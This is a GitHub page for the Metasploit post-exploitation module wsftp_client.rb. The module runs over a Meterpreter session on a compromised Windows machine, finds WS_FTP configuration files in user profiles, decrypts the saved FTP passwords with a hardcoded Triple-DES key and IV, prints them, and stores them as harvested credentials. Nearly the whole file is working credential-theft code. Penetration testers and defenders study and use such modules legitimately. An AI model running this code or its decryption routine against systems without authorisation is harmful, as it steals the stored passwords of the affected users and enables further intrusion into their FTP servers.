-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
wsftp_client.rb
120 lines (104 loc) · 3.26 KB
/
wsftp_client.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather WS_FTP Saved Password Extraction',
'Description' => %q{
This module extracts weakly encrypted saved FTP Passwords
from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file.
},
'License' => MSF_LICENSE,
'Author' => [ 'theLightCosine'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
core_channel_eof
core_channel_open
core_channel_read
core_channel_write
stdapi_fs_stat
]
}
}
)
)
end
def run
print_status('Checking Default Locations...')
grab_user_profiles.each do |user|
next if user['AppData'].nil?
check_appdata(user['AppData'] + '\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini')
check_appdata(user['AppData'] + '\\Ipswitch\\WS_FTP Home\\Sites\\ws_ftp.ini')
end
end
def check_appdata(path)
client.fs.file.stat(path)
print_status("Found File at #{path}")
get_ini(path)
rescue StandardError
print_status("#{path} not found ....")
end
def get_ini(filename)
config = client.fs.file.new(filename, 'r')
parse = config.read
ini = Rex::Parser::Ini.from_s(parse)
ini.each_key do |group|
next if group == '_config_'
print_status("Processing Saved Session #{group}")
host = ini[group]['HOST']
host = host.delete '"'
username = ini[group]['UID']
username = username.delete '"'
port = ini[group]['PORT']
passwd = ini[group]['PWD']
passwd = decrypt(passwd)
next if passwd.nil? || (passwd == '')
port = 21 if port.nil?
print_good("Host: #{host} Port: #{port} User: #{username} Password: #{passwd}")
service_data = {
address: Rex::Socket.getaddress(host),
port: port,
protocol: 'tcp',
service_name: 'ftp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: username,
private_data: passwd,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
end
def decrypt(pwd)
decoded = pwd.unpack('m*')[0]
key = "\xE1\xF0\xC3\xD2\xA5\xB4\x87\x96\x69\x78\x4B\x5A\x2D\x3C\x0F\x1E\x34\x12\x78\x56\xab\x90\xef\xcd"
iv = "\x34\x12\x78\x56\xab\x90\xef\xcd"
des = OpenSSL::Cipher.new('des-ede3-cbc')
des.decrypt
des.key = key
des.iv = iv
result = des.update(decoded)
final = result.split("\000")[0]
return final
end
end